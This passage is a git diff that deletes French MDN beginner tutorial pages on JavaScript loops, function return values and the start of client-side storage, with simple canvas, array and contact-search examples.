-  }
-}
- -

La quantité de nourriture dont le fermier a besoin est donc initialisée à 10, et la quantité dont il dispose est initialisée à 0. A chaque itération de la boucle, on vérifie si la quantité de nourriture dont le fermier dispose est égale à la quantité requise. Si c'est le cas, on peut sortir de la boucle. Sinon, le fermier passe une heure de plus à récolter de la nourriture, et la boucle itère à nouveau.

- -

À quoi ça sert ?

- -

Arrivé à ce stade, vous avez sans doute compris le concept global des boucles, mais vous vous dites probablement : "Ok, bien, mais comment cela va-t-il m'aider à améliorer mes codes en JavaScript ?". Comme nous l'avons dit plus tôt, les boucles ne font rien d'autre que répéter la même action encore et encore, ce qui peut s'avérer utile pour effectuer rapidement des tâches répétitives.

- -

Souvent, le code sera légèrement différent à chaque itération successive, ce qui signifie que vous pouvez effectuer une certaine quantité de tâches similaires, mais néanmoins quelque peu différentes - si vous avez beaucoup de calculs différents à effectuer, vous n'allez pas effectuer le même calcul encore et encore !

- -

Regardons maintenant un exemple qui illustre parfaitement en quoi les boucles sont si intéressantes. Disons que nous voulons dessiner 100 cercles aléatoirement sur un <canvas> (appuyez sur le bouton Update pour lancer le programme à nouveau et voir différentes dispositions aléatoires).

- - - -

{{ EmbedLiveSample('Hidden_code', '100%', 400) }}

- -

Vous n'avez pas besoin de comprendre entièrement le code pour l'instant, mais regardons plus en détail la partie du code qui trace les 100 cercles :

- -
for (let i = 0; i < 100; i++) {
-  ctx.beginPath();
-  ctx.fillStyle = 'rgba(255,0,0,0.5)';
-  ctx.arc(random(WIDTH), random(HEIGHT), random(50), 0, 2 * Math.PI);
-  ctx.fill();
-}
- -

Vous devriez comprendre l'idée basique - nous utilisons une boucle pour effectuer 100 itérations de ce code, chacune dessinant un cercle à une position quelconque sur la page. La quantité de lignes de code nécessaire serait identique si l'on voulait tracer 100 cercles, 1000 ou même 100000. Seul le nombre d'itérations devrait changer.

- -

Si nous n'utilisions pas de boucle ici, nous aurions du répéter le code suivant pour chaque cercle que nous aurions voulu dessiner :

- -
ctx.beginPath();
-ctx.fillStyle = 'rgba(255, 0, 0, 0.5)';
-ctx.arc(random(WIDTH), random(HEIGHT), random(50), 0, 2 * Math.PI);
-ctx.fill();
- -

Mais cela prend du temps inutilement, et rend le code difficilement maintenable. Les boucles sont vraiment les meilleures.

- -

La boucle standard

- -

Commençons maintenant à voir quelques formes de boucles spécifiques. La première, celle que vous utiliserez le plus souvent, est la boucle for. Elle a la syntaxe suivante :

- -
for (initialisation; condition de sortie; expression finale) {
-  // code à exécuter
-}
- -

Nous avons ici :

- -
    -
  1. Le mot-clé for, suivi par des parenthèses.
    2. -
  2. A l'intérieur des parenthèses, on a trois objets : -
      -
    1. Une initialisation — il s'agit souvent d'une variable initialisée à une certaine valeur, qui est incrémentée afin de compter le nombre de fois où la boucle s'est exécutée. On peut également la nommer compteur.
      2. -
    2. Une condition de sortie — comme mentionné précédemment, cela définit le moment où la boucle doit arrêter de s'exécuter. C'est généralement une expression contenant un opérateur de comparaison, un test pour voir si la condition de sortie est atteinte.
      3. -
    3. Une expression finale — Elle est toujours évaluée (ou exécutée) chaque fois que la boucle a effectué une itération complète. Cela sert souvent à incrémenter (ou dans certains cas décrémenter) le compteur, pour le rapprocher de la valeur de la condition de sortie.
      4. -
    -
    3. -
  3. Des accolades contenant un bloc de code — ce code sera exécuté chaque fois que la boucle itère.
    4. -
- -

Regardons maintenant un vrai exemple, afin de visualiser leurs actions plus clairement.

- -
const chats = ['Bill', 'Jeff', 'Pete', 'Biggles', 'Jasmin'];
-let info = "Mes chat s'appellent ";
-const paragraphe = document.querySelector('p');
-
-for (let i = 0; i < chats.length; i++) {
-  info += chats[i] + ', ';
-}
-
-paragraphe.textContent = info;
- -

Cela nous donne la sortie suivante :

- - - -

{{ EmbedLiveSample('Hidden_code_2', '100%', 60) }}

- -
-

Note: Vous pouvez trouver aussi cet exemple de code sur GitHub (et le voir tourner en live).

-
- -

Cela montre une boucle utiliser pour itérer sur les éléments d'un tableau et faire quelque chose avec chacun d'eux — un schéma très commun en JavaScript. Ici :

- -
    -
  1. L'itérateur, i, commence à 0 (let i = 0).
    2. -
  2. On lui a demandé de s'exécuter jusqu'à ce que sa valeur ne soit plus inférieure à la longueur du tableau chats. C'est important  — la condition de sortie montre la condition à laquelle la boucle continue de s'exécuter. C'est à dire dans ce cas, tant que i < chats.length est vrai, la boucle continuera à s'exécuter.
    3. -
  3. Au sein de la boucle, on concatène les élèments présents dans cette boucle (cats[i] est cats[quelque soit la valeur de i lors de l'iteration]) avec une virgule et un espace, à la fin de la variable info. Donc : -
      -
    1. Pendant le premier lancement, i = 0, donc cats[0] + ', ' sera concaténé à ("Bill, ")
      2. -
    2. Au second lancement, i = 1, donc cats[1] + ', ' et sera concaténé à  ("Jeff, ")
      3. -
    3. Et ainsi de suite. Aprés chaque tour de boucle, 1 est ajouté à i (i++), et alors le processus recommence encore.
      4. -
    -
    4. -
  4. Quand i devient égal à cats.length, la boucle s'arrête, et le navigateur va bouger au prochain bout de code aprés la boucle.
    5. -
- -
-

Note: Nous avons fait sortir la condition i < cats.length, et pas i <= cats.length, parce que les ordinateurs comptent à partir de 0, pas 1 — nous avons démarré i à 0, et allons allers jusqu'à i = 4 (l'index du dernier item de la table/tableau). cats.length retourne 5, comme il y a 5 items dans la table, nous n'allont pas aller à i = 5, cela retournerai undefined pour le dernier item (il n'y a pas de item de table avec un index de 5). Par conséquent, nous voulons aller de 1 à moins que cats.length (i <), ce n'est pas la même chose que cats.length (i <=).

-
- -
-

Note: Une erreur commune avec les conditions de sortie est de les faire utiliser "égal à" plutôt que de dire "inférieur ou égal à". Si nous voulions faire tourner notre boucle jusqu'à i = 5, la condition de sortie aurait besoin d'être i <= cats.length / Si nous la mettons à i = cats.length, la boucle ne fonctionnerait pas du tout parce que i n'est pas égal à 5 sur la première itération de la boucle, de sorte que cela s'arrête immédiatement.

-
- -

Un petit problème est que nous avons laissé la phrase de sortie mal formée :

- -
-

Mes chats s'appellent Bill, Jeff, Pete, Biggles, Jasmin,

-
- -

Idéalement, nous voulons changer la concaténation sur l'itération de la boucle finale de sorte que nous n'ayons pas de virgule à la fin de la phrase. Bien, pas de problème – nous pouvons heureusement insérer une structure conditionnelle dans notre boucle for pour gérer ce cas particulier :

- -
for (let i = 0; i < cats.length; i++) {
-  if (i === cats.length - 1) {
-    info += 'and ' + cats[i] + '.';
-  } else {
-    info += cats[i] + ', ';
-  }
-}
- -
-

Note: Vous pouvez trouver cet exemple de code sur GitHub (et aussi le voir en ligne).

-
- -
-

Important: Avec for — comme avec toutes les boucles  — vous devez vous assurer que l'initialiseur est itéré de sorte qu'il finisse par atteindre la condition de sortie. Si ce n'est pas le cas, la boucle continuera indéfiniment, et soit le navigateur l'arrêtera, soit il se bloquera. C'est ce qu'on appelle une boucle infinie.

-
- -

Quitter une boucle avec break

- -

Si vous voulez quitter une boucle avant que toutes les itérations aient été terminées, vous pouvez utiliser l'instruction break. Nous l'avons déjà rencontré dans l'article précédent lorsque nous examinions les instructions switch : lorsqu'un argument est rencontré dans une instruction switch qui correspond à l'expression d'entrée, l'instruction break quitte immédiatement l'instruction switch et passe au code après elle.

- -

C'est la même chose avec les boucles – un break quittera immédiatement la boucle et fera passer le navigateur sur n'importe quel code qui le suit.

- -

Supposons que nous voulions effectuer une recherche parmi une liste de contacts et de numéros de téléphone et que nous ne renvoyions que le nombre que nous voulions trouver. Tout d'abord, du HTML simple - un texte {{htmlelement ("input")}} nous permettant d'entrer un nom à rechercher, un élément {{htmlelement ("button")}} pour soumettre une recherche, et un {{htmlelement ("p")}} élément pour afficher les résultats dans :

- -
<label for="search">Search by contact name: </label>
-<input id="search" type="text">
-<button>Search</button>
-
-<p></p>
- -

Maintenant sur le JavaScript :

- -
const contacts = ['Chris:2232322', 'Sarah:3453456', 'Bill:7654322', 'Mary:9998769', 'Dianne:9384975'];
-const paragraphe = document.querySelector('p');
-const input = document.querySelector('input');
-const bouton = document.querySelector('button');
-
-bouton.addEventListener('click', function() {
-  let searchName = input.value;
-  input.value = '';
-  input.focus();
-  for (let i = 0; i < contacts.length; i++) {
-    let splitContact = contacts[i].split(':');
-    if (splitContact[0] === searchName) {
-      paragraphe.textContent = splitContact[0] + '\'s number is ' + splitContact[1] + '.';
-      break;
-    } else {
-      paragraphe.textContent = 'Contact not found.';
-    }
-  }
-});
- - - -

{{ EmbedLiveSample('Hidden_code_3', '100%', 100) }}

- -
    -
  1. Tout d'abord, nous avons quelques définitions de variables — nous avons un tableau d'informations de contact, avec chaque élément étant une chaîne contenant un nom et un numéro de téléphone séparés par deux points.
    2. -
  2. Ensuite, nous attachons un écouteur d'événement au bouton (bouton), de sorte que quand il est pressé, du code est exécuté pour effectuer la recherche et renvoyer les résultats.
    3. -
  3. Nous stockons la valeur saisie dans l'input dans une variable appelée searchName, , avant de vider l'input et le recentrer, prêt pour la recherche suivante.
    4. -
  4. Maintenant sur la partie intéressante, la boucle for : -
      -
    1. Nous commençons le compteur à 0, exécutons la boucle jusqu'à ce que le compteur ne soit plus inférieur à contacts.length, et incrémentons i par 1 après chaque itération de la boucle.
      2. -
    2. À l'intérieur de la boucle, nous divisons d'abord le contact actuel (contacts[i]) au caractère deux-points et stockons les deux valeurs résultantes dans un tableau appelé splitContact.
      3. -
    3. Nous utilisons ensuite une instruction conditionnelle pour tester si splitContact[0] (le nom du contact) est égal au searchName entré. Si c'est le cas, nous introduisons une string / chaîne de caractère dans le paragraphe pour indiquer quel est le numéro du contact et utiliser break pour terminer la boucle.
      4. -
    -
    5. -
  5. Si le nom du contact ne correspond pas à la recherche entrée, le texte du paragraphe est défini sur "Contact not found." et la boucle continue son itération.
    6. -
- -
-

Note : Vous pouvez trouver cet exemple de code sur GitHub (aussi voir en ligne).

-
- -

Passer des itérations avec continue

- -

L'instruction continue fonctionne d'une manière similaire à break, mais au lieu de sortir complètement de la boucle, elle passe à l'itération suivante de la boucle. Regardons un autre exemple qui prend un nombre comme une entrée, et retourne seulement les nombres qui sont des carrés d'entiers (nombres entiers).

- -

Le HTML est fondamentalement le même que le dernier exemple — une entrée de texte simple, et un paragraphe pour la sortie. Le JavaScript est la plupart du temps identique, même si la boucle elle-même est un peu différente :

- -
let num = input.value;
-
-for (let i = 1; i <= num; i++) {
-  let sqRoot = Math.sqrt(i);
-  if (Math.floor(sqRoot) !== sqRoot) {
-    continue;
-  }
-
-  paragraphe.textContent += i + ' ';
-}
- -

Ici la sortie :

- - - -

{{ EmbedLiveSample('Hidden_code_4', '100%', 100) }}

- -
    -
  1. Dans ce cas, l'entrée doit être un nombre (num). La boucle for est dotée d'un compteur commençant à 1 (car nous ne sommes pas intéressés par 0 dans ce cas), une condition de sortie indiquant que la boucle s'arrêtera lorsque le compteur deviendra plus grand que l'entrée num, et un itérateur ajoutera 1 au compteur à chaque fois.
    2. -
  2. À l'intérieur de la boucle, nous trouvons la racine carrée de chaque nombre en utilisant Math.sqrt(i), , puis vérifions si la racine carrée est un entier en vérifiant si elle est identique à elle-même lorsqu'elle a été arrondie à l'entier le plus proche (ceci est ce que Math.floor() fait au nombre auquel il est passé).
    3. -
  3. Si la racine carrée et la racine carrée arrondie ne sont pas égales les unes aux autres (! ==), cela signifie que la racine carrée n'est pas un entier, donc cela ne nous intéresse pas. Dans un tel cas, nous utilisons l'instruction continue pour passer à l'itération de la boucle suivante sans enregistrer le numéro n'importe où.
    4. -
  4. Si la racine carrée est un entier, nous passons complètement le bloc if pour que l'instruction continue ne soit pas exécutée; à la place, nous concaténons la valeur i actuelle plus un espace sur la fin du contenu du paragraphe.
    5. -
- -
-

Note: Vous pouvez trouver cet exemple de code sur GitHub (aussi voir en ligne).

-
- -

while et do ... while

- -

for n'est pas le seul type de boucle disponible en JavaScript. Il y en a beaucoup d'autres et, même si vous n'avez pas besoin de comprendre tout cela maintenant, il vaut mieux jeter un coup d'œil à la structure de quelques autres pour pouvoir reconnaître les mêmes caractéristiques au travail d'une manière légèrement différente.

- -

D'abord, regardons la boucle while. La syntaxe de cette boucle ressemble à ceci:

- -
initializer
-while (exit-condition) {
-  // code to run
-
-  final-expression
-}
- -

Cela fonctionne de manière très similaire à la boucle for, sauf que la variable de départ est définie avant la boucle, et l'expression finale est incluse dans la boucle après le code à exécuter — plutôt que ces deux éléments soient inclus dans les parenthèses. La condition de sortie est incluse dans les parenthèses, précédées du mot-clé while au lieu de for.

- -

Les mêmes trois éléments sont toujours présents, et ils sont toujours définis dans le même ordre que dans la boucle for - cela est logique, car vous devez toujours définir un initialiseur avant de pouvoir vérifier s'il a atteint la condition de sortie ; la condition finale est ensuite exécutée après l'exécution du code à l'intérieur de la boucle (une itération a été effectuée), ce qui ne se produira que si la condition de sortie n'a pas encore été atteinte.

- -

Jetons un coup d'oeil à notre exemple de liste de chats, mais réécrit pour utiliser une boucle while:

- -
let i = 0;
-
-while (i < cats.length) {
-  if (i === cats.length - 1) {
-    info += 'and ' + cats[i] + '.';
-  } else {
-    info += cats[i] + ', ';
-  }
-
-  i++;
-}
- -
-

Note: Cela fonctionne toujours comme prévu regardez le ici GitHub (Voir en ligne le code complet).

-
- -

La boucle do...while est très similaire, mais dénote une variation par rapport à la structure de la boucle while :

- -
initializer
-do {
-  // code to run
-
-  final-expression
-} while (exit-condition)
- -

Dans ce cas, l'initialiseur vient en premier, avant que la boucle ne commence. Le mot-clé do précède directement les accolades contenant le code à exécuter et l'expression finale.

- -

Le différentiateur ici est que la condition de sortie vient après tout, enveloppée entre parenthèses et précédée d'un mot-clé while. Dans une boucle do ... while, le code à l'intérieur des accolades est toujours exécuté une fois avant que la vérification ne soit effectuée pour voir si elle doit être exécutée à nouveau (dans while et for, la vérification arrive en premier, donc le code pourrait ne jamais être exécuté ).

- -

Réécrivons notre exemple de listing de chat pour utiliser une boucle do ... while :

- -
let i = 0;
-
-do {
-  if (i === cats.length - 1) {
-    info += 'and ' + cats[i] + '.';
-  } else {
-    info += cats[i] + ', ';
-  }
-
-  i++;
-} while (i < cats.length);
- -
-

Note: Encore, cela fonctionne toujours comme prévu — regardez le ici GitHub (Voir en ligne le code complet).

-
- -
-

Important: Avec while et do ... while – comme avec toutes les boucles – vous devez vous assurer que l'initialiseur est itéré pour qu'il atteigne finalement la condition de sortie. Si ce n'est pas le cas, la boucle continuera indéfiniment, et soit le navigateur l'arrêtera, soit il se bloquera. C'est ce qu'on appelle une boucle infinie.

-
- -

Apprentissage actif : Lancer le compte à rebours !

- -

Dans cet exercice, nous vous proposons d'écrire un compte à rebours de lancement dans la boîte de sortie, de 10 jusqu'à "Blast Off." Plus précisément, il s'agit de :

- - - -

Si vous faites une erreur, vous pourrez toujours réinitialiser l'exemple avec le bouton "Reset". Si vous êtes vraiment bloqué, appuyez sur le bouton "Show solution" pour voir une solution.

- - - -

{{ EmbedLiveSample('Active_learning', '100%', 780) }}

- -

Apprentissage actif : remplir une liste d'invités.

- -

Dans cet exercice, nous vous proposons de prendre une liste d'invités stockée dans un tableau et de la mettre sur une liste d'invités. Mais cela n'est pas si simple — nous ne voulons pas laisser entrer Phil et Lola parce que ce sont des goinfres et qu'ils sont mal élevés, et ils mangent toujours toute la nourriture ! Nous avons deux listes, une pour les invités admis, une pour ceux que l'on refuse.

- -

Plus précisément, nous attendons de vous :

- - - -

Nous vous avons déjà fourni les éléments suivants :

- - - -

Question bonus — après avoir accompli les tâches ci-dessus, il vous restera deux listes de noms séparées par des virgules, mais elles seront mal présentées— il y aura des virgules à la fin de chacune d'elles. Pouvez-vous faire en sorte d'écrire des lignes de code qui coupent les dernières virgules dans chacune d'elles, et ajoute un arrêt total à la fin ? Jetez un oeil à l'article Méthodes utiles pour les chaînes de caractères pour obtenir de l'aide.

- -

Si vous faites une erreur, vous pourrez toujours ré-initialiser l'exemple avec le bouton "Reset". Si vous êtes vraiment bloqué, appuyez sur le bouton "Show solution" pour voir une solution.

- - - -

{{ EmbedLiveSample('Active_learning_2', '100%', 580) }}

- -

Quel type de boucle utiliser ?

- -

Pour des usages basiques les boucles for, while, et do...while sont largement interchangeables. Elles résolvent toutes le même problème et celle que vous utiliserez dépendra de vos préférences personnelles — celle que vous trouverez le plus facile à mémoriser ou la plus intuitive. Jetons-y un coup d'oeil à nouveau.

- -

Premièrement for:

- -
for (initialisation; condition de sortie; expression finale) {
-  // code à exécuter
-}
- -

while:

- -
initialisation
-while (condition de sortie) {
-  // code à exécuter
-
-  expression finale
-}
- -

et enfin do...while:

- -
initialisation
-do {
-  // code à exécuter
-
-  expression finale
-} while (condition de sortie)
- -

Nous recommandons for, au moins pour commencer, car elle est probablement la plus facile pour tout se remémorer — l'initialisation, la condition de sortie, l'expression finale, le tout soigneusement placé entre des parenthèses. De cette façon, il est facile de voir où elles se trouvent et de vérifier qu'on ne les a pas oubliées.

- -
-

Note: Il y a d'autres types de boucles et de particularités, qui sont très utiles pour des situations spéciales et qui ne sont pas décrites dans cet article. Si vous voulez aller plus loin dans l'apprentissage des boucles, lisez le guide Boucles et itérations.

-
- -

Conclusion

- -

Cet article vous a révélé les concepts basiques et les différentes options disponibles pour créer des boucles en JavaScript. Vous devriez à présent être en mesure de comprendre en quoi les boucles constituent un bon mécanisme lorsqu'il s'agit de répéter une action dans le code, et vous devez être impatient de les utiliser dans vos propres exemples !

- -

S'il y a quelque chose que vous n'avez pas compris, n'hésitez pas à relire l'article ou à nous contacter pour demander de l'aide.

- -

Voir aussi

- - - -

{{PreviousMenuNext("Learn/JavaScript/Building_blocks/conditionals","Learn/JavaScript/Building_blocks/Functions", "Learn/JavaScript/Building_blocks")}}

diff --git a/files/fr/apprendre/javascript/building_blocks/return_values/index.html b/files/fr/apprendre/javascript/building_blocks/return_values/index.html deleted file mode 100644 index 72ed199a4c..0000000000 --- a/files/fr/apprendre/javascript/building_blocks/return_values/index.html +++ /dev/null @@ -1,182 +0,0 @@ ---- -title: Valeurs de retour des fonctions -slug: Apprendre/JavaScript/Building_blocks/Return_values -tags: - - Apprendre - - Article - - Débutant - - Fonctions - - Guide - - JavaScript - - Return - - Valeurs de retour - - Écriture de code -translation_of: Learn/JavaScript/Building_blocks/Return_values ---- -
{{LearnSidebar}}
- -
{{PreviousMenuNext("Learn/JavaScript/Building_blocks/Build_your_own_function","Learn/JavaScript/Building_blocks/Events", "Learn/JavaScript/Building_blocks")}}
- -

Il y a un concept essentiel que nous devons aborder dans ce cours, pour être complet sur les fonctions: les valeurs de retour. Certaines fonctions ne retournent pas de valeur significative après avoir été exécutées, mais d'autres oui, il est important de comprendre ces valeurs, comment les utiliser dans votre code et comment faire pour que vos propres fonctions retournent des valeurs utiles. Nous aborderons tout cela dans cet article.

- - - - - - - - - - - - -
Prérequis: -

Base en langage informatique, une compréhension basic de HTML et CSS, Premiers pas en JavaScript, Fonctions — blocks de code réutilisable.

-
Objectif:Comprendre les valeurs de retour, et comment les utiliser.
- -

Qu'est-ce que les valeurs de retour?

- -

Les valeurs de retour sont, comme leur nom l'indique, les valeurs retournées par une fonction après son exécution. Vous en avez déjà rencontré plusieurs fois sans y avoir pensé explicitement. Revenons à notre code:

- -
var myText = 'I am a string';
-var newString = myText.replace('string', 'sausage');
-console.log(newString);
-// the replace() string function takes a string,
-// replaces one substring with another, and returns
-// a new string with the replacement made
- -

Nous avons vu ce bloc de code dans notre premier article sur les fonctions. Nous appelons la fonction replace() sur la chaîne de caractères myText , et lui passons deux paramètres: la chaîne à trouver ('string'), et la chaîne de remplacement ('sausage'). Lorsque cette fonction a fini de s'exécuter, elle retourne une valeur qui est une chaîne avec le remplacement effectué. Dans le code ci-dessus, nous sauvegardons cette valeur avec la variable newString.

- -

Si vous regardez la page de référence MDN sur le remplacement de fonction, vous verrez une section intitulée Valeur retournée. Il est utile de savoir et de comprendre quelles sont les valeurs retournées par les fonctions, nous avons donc essayé d'inclure cette information partout où cela était possible.

- -

Certaines fonctions ne retournent pas de valeur comme telle (dans nos pages de référence, la valeur de retour est définie comme void ou undefined dans de tels cas). Par exemple, dans la fonction displayMessage()  construite dans l'article précédent, aucune valeur spécifique n'est retournée comme résultat de la fonction appelée. Il y a seulement une boîte qui apparaît, c'est tout !

- -

Généralement, une valeur de retour est utilisée lorsque la fonction est une étape intermédiaire dans un programme. Ces valeurs intermédiaires doivent être d'abord évaluées par une fonction, le résultat renvoyé pourra être ensuite utilisé dans l'étape suivante du programme.

- -

Utiliser des valeurs de retour dans vos fonctions

- -

Pour retourner une valeur d'une fonction que vous avez créée, vous devez utiliser... suspense... le mot-clef return . Nous avons vu son utilisation dans l'exemple random-canvas-circles.html. Notre fonction draw() dessine 100 cercles aléatoires en HTML. {{htmlelement("canvas")}}:

- -
function draw() {
-  ctx.clearRect(0,0,WIDTH,HEIGHT);
-  for (var i = 0; i < 100; i++) {
-    ctx.beginPath();
-    ctx.fillStyle = 'rgba(255,0,0,0.5)';
-    ctx.arc(random(WIDTH), random(HEIGHT), random(50), 0, 2 * Math.PI);
-    ctx.fill();
-  }
-}
- -

À chaque itération de la boucle, on fait trois fois appel à la fonction random() pour générer respectivement une valeur aléatoire pour les coordonnées x et y du cercle, ainsi que pour son rayon. La fonction random() prend un seul paramètre — un nombre entier — et elle retourne un nombre entier aléatoire compris entre 0 et ce nombre. Voici à quoi cela ressemble:

- -
function random(number) {
-  return Math.floor(Math.random()*number);
-}
- -

Cela peut aussi s'écrire ainsi:

- -
function random(number) {
-  var result = Math.floor(Math.random()*number);
-  return result;
-}
- -

Mais la première version est plus rapide à écrire, et plus compacte.

- -

La fonction retourne le résultat de Math.floor(Math.random()*number) chaque fois qu'elle est appelée. Cette valeur de retour apparaît à l'endroit où la fonction a été appelée, puis le code continue. Si, par exemple, nous exécutons la ligne suivante:

- -
ctx.arc(random(WIDTH), random(HEIGHT), random(50), 0, 2 * Math.PI);
- -

et que les trois appels random() retournent respectivement les valeurs 500, 200 et 35, la ligne pourrait être écrite de cette façon:

- -
ctx.arc(500, 200, 35, 0, 2 * Math.PI);
- -

Les fonctions de la ligne sont évaluées en premières, et leurs valeurs de retour viennent remplacer les appels de fonctions avant que la ligne elle-même ne soit exécutée.

- -

Apprentissage actif: notre propre fonction avec valeur de retour

- -

Allons-y, écrivons nos propres fonctions avec des valeurs de retour.

- -
    -
  1. Pour commencer, faites une copie locale du fichier function-library.html à partir de GitHub. Il s'agit d'une simple page HTML contenant un champ texte  {{htmlelement("input")}} et un paragraphe. Il y a également un élément {{htmlelement("script")}} qui référence ces éléments HTML dans deux variables. Cette page vous permettra d'entrer un nombre dans le champ texte, et affichera, dans le paragraphe au-dessous, différents nombres en lien avec celui entré.
    2. -
  2. Ajoutons quelques fonctions dans <script> . Sous les deux lignes existantes de JavaScript, ajoutez les définitions des fonctions suivantes: - 
    function squared(num) {
-  return num * num;
-}
-
-function cubed(num) {
-  return num * num * num;
-}
-
-function factorial(num) {
-  var x = num;
-  while (x > 1) {
-    num *= x-1;
-    x--;
-  }
-  return num;
-}
    - Les fonctions squared() et cubed() sont plutôt évidentes, elle retournent le carré et le cube du nombre donné en paramètre. La fonction factorial() retourne la factorielle du nombre donné.
    3. -
  3. Ensuite, nous allons ajouter un moyen d'afficher des informations sur le nombre entré dans le champ texte. Ajoutez le gestionnaire d'événement suivant à la suite des fonctions: - 
    input.onchange = function() {
-  var num = input.value;
-  if (isNaN(num)) {
-    para.textContent = 'You need to enter a number!';
-  } else {
-    para.textContent = num + ' squared is ' + squared(num) + '. ' +
-                       num + ' cubed is ' + cubed(num) + '. ' +
-                       num + ' factorial is ' + factorial(num) + '.';
-  }
-}
    - -

    Ici nous créons un gestionnaire d'événement onchange qui s'exécute chaque fois que l'événement change se déclenche sur le champ de saisie de texte, c'est-à-dire lorsqu'une nouvelle valeur est entrée dans le champ de saisie de texte, puis qu'elle est soumise (par exemple lorsqu'on entre une valeur puis qu'on appuie sur Tab). Quand cette fonction anonyme s'exécute, la valeur entrée dans le champ de saisie est stockée dans la variable num.

    - -

    Ensuite, nous faisons un test: Si la valeur entrée n'est pas un nombre, un message d'erreur s'affiche dans le paragraphe. Le test vérifie si l'expression isNaN(num) retourne true. Nous utilisons la fonction isNaN() pour vérifier si la valeur num est un nombre — si c'est le cas, elle retourne false, sinon true.

    - -

    Si le test retourne false, la valeur num est un nombre, alors une phrase s'affiche dans le paragraphe indiquant le carré, le cube et la factorielle du nombre. La phrase appelle les fonctions squared(), cubed() et factorial() pour obtenir les valeurs désirées.

    -
    4. -
  4. Sauvegardez votre code, chargez-le dans votre navigateur et testez-le.
    5. -
- -
-

Note: Si vous rencontrez des difficultés pour faire fonctionner cet exemple, vous pouvez vérifier le code en le comparant à la Version final sur GitHub (également Démonstration en direct), ou demandez-nous de l'aide.

-
- -

À ce stade, nous aimerions que vous essayiez d'écrire quelque fonctions de votre choix et que vous les ajoutiez à la bibliothèque. Que diriez-vous des racines carré et cubique du nombre, ou de la circonférence d'un cercle de rayon num?

- -

Cet exercice a soulevé quelques points importants en plus de nous avoir permis d'étudier l'utilisation de la déclaration return. De plus, nous avons:

- - - -

Conclusion

- -

Nous l'avons vu, les fonctions sont amusantes, très utiles et, bien qu'il y ait beaucoup à dire en termes de syntaxe et de fonctionnalités, elles sont assez compréhensibles si elles sont étudiés correctement.

- -

Si vous n'avez pas compris quelque chose, n'hésitez pas à relire l'article, ou contactez-nous pour obtenir de l'aide.

- -

Voir aussi

- - - -

{{PreviousMenuNext("Learn/JavaScript/Building_blocks/Build_your_own_function","Learn/JavaScript/Building_blocks/Events", "Learn/JavaScript/Building_blocks")}}

- -

 

- -

Dans ce module

- - - -

 

diff --git a/files/fr/apprendre/javascript/client-side_web_apis/client-side_storage/index.html b/files/fr/apprendre/javascript/client-side_web_apis/client-side_storage/index.html deleted file mode 100644 index e5226ffa24..0000000000 --- a/files/fr/apprendre/javascript/client-side_web_apis/client-side_storage/index.html +++ /dev/null @@ -1,881 +0,0 @@ ---- -title: Stockage côté client -slug: Apprendre/JavaScript/Client-side_web_APIs/Client-side_storage -tags: - - API - - Apprendre - - Codage - - Débutant - - Guide - - IndexedDB - - JavaScript - - Storage -translation_of: Learn/JavaScript/Client-side_web_APIs/Client-side_storage ---- -

{{LearnSidebar}}

- -
{{PreviousMenu("Learn/JavaScript/Client-side_web_APIs/Video_and_audio_APIs", "Learn/JavaScript/Client-side_web_APIs")}}
- -
- -

Les navigateurs web modernes permettent aux sites web de stocker des données sur l'ordinateur de l'utilisateur — avec sa permission — puis de les récupérer au besoin. Cela permet d'enregistrer des données pour du stockage à long terme, de sauvegarder des documents ou des sites hors-ligne, de conserver des préférences spécifiques à l'utilisateur et plus encore. Cet article explique les fondamentaux pour y parvenir.

- - - - - - - - - - - - -
Prérequis:Notions de bases de JavaScript (voir premiers pas, les briques JavaScript, les objets JavaScript), les notions de base des APIs côté client
Objectif:Apprendre à utiliser les APIs de stockage côté client pour stocker des données de l'application.
- -

Stockage côté client ?

- -

Ailleurs dans la zone d'apprentissage de MDN, nous avons parlé de la différence entre les sites statiques et les sites dynamiques — ces derniers stockent des données côté serveur en utilisant une base de données. Ensuite, ils exécutent du code pour récupérer les données et les insérer dans des templates de page statique. Finalement, le HTML résultant est envoyé au client, qui est alors affiché par le navigateur de l'utilisateur.

- -

Le stockage côté client fonctionne sur des principes similaires, mais pour une utilisation différente. Le stockage côté client repose sur des APIs JavaScript qui permettent de stocker des données sur la machine de l'utilisateur et de les récupérer au besoin. Cela peut se révéler utile dans différents cas comme :

- - - -

Souvent, le stockage côté client et côté serveur sont utilisés ensemble. Par exemple, vous pouvez télécharger à partir d'une base de données côté serveur une série de fichiers mp3 utilisés par un site web (comme un jeu ou une application de musique) vers une base de données côté client et ainsi pouvoir les lire quand vous le voulez. Avec cette stratégie, l'utilisateur n'a à télécharger le fichier qu'une seule fois — les visites suivantes, ils sont récupérés à partir de la base de données locale.

- -
-

Note : La quantité de données que l'on peut stocker à l'aide des APIs de stockage côté client est limitée (limite par API et limite globale), la limite exacte dépend du navigateur et des configurations. Voir Limites de stockage du navigateur et critères d'éviction pour plus d'informations.

-
- -

À l'ancienne : les cookies

- -

Le concept de stockage côté client existe depuis longtemps. Au début du web, les sites utilisaient des cookies pour stocker des informations et personnaliser l'expérience utilisateur. C'est la méthode de stockage côté client la plus couramment utilisée et la plus ancienne.

- -

De par leur histoire, les cookies souffrent d'un certain nombre de problèmes — tant techniques qu'au niveau de l'expérience utilisateur. Ces problèmes sont suffisamment importants pour imposer un message d'information aux utilisateurs habitant en Europe lors de leur première visite si le site utilise des cookies pour stocker des informations sur eux. Cela est dû à une loi de l'Union Européenne connue sous le nom de directive Cookie.

- -

- -

Pour ces raisons, nous ne verrons pas dans cet article comment utiliser les cookies. Entre le fait qu'ils sont dépassés, les problèmes de sécurité qu'ils présentent et l'incapacité de stocker des données complexes, les cookies ne sont pas la meilleure manière pour stocker des données. Il y a de meilleures alternatives, modernes, permettant de stocker des données variées sur l'ordinateur de l'utilisateur.

- -

Le seul avantage des cookies est qu'ils sont supportés par des navigateurs anciens : si votre projet requiert le support de navigateurs obsolètes (comme Internet Explorer 8 et inférieur), les cookies peuvent se révéler utiles. Pour la plupart des projets, vous ne devriez pas avoir besoin d'y recourir.

- -
-

Note : Pourquoi existe-t-il encore de nouveaux sites crées à l'aide de cookies? Principalement de par les habitudes des développeurs, l'utilisation de bibliothèques anciennes qui utilisent encore des cookies et l'existence de nombreux sites web fournissant des formations et références dépassées pour apprendre à stocker des données.

-
- -

La nouvelle école : Web Storage et IndexedDB

- -

Les navigateurs modernes ont des APIs beaucoup plus efficaces et faciles d'utilisation pour stocker des données côté client.

- - - -

Vous en apprendrez plus sur ces APIs ci-dessous.

- -

Le futur : l'API Cache

- -

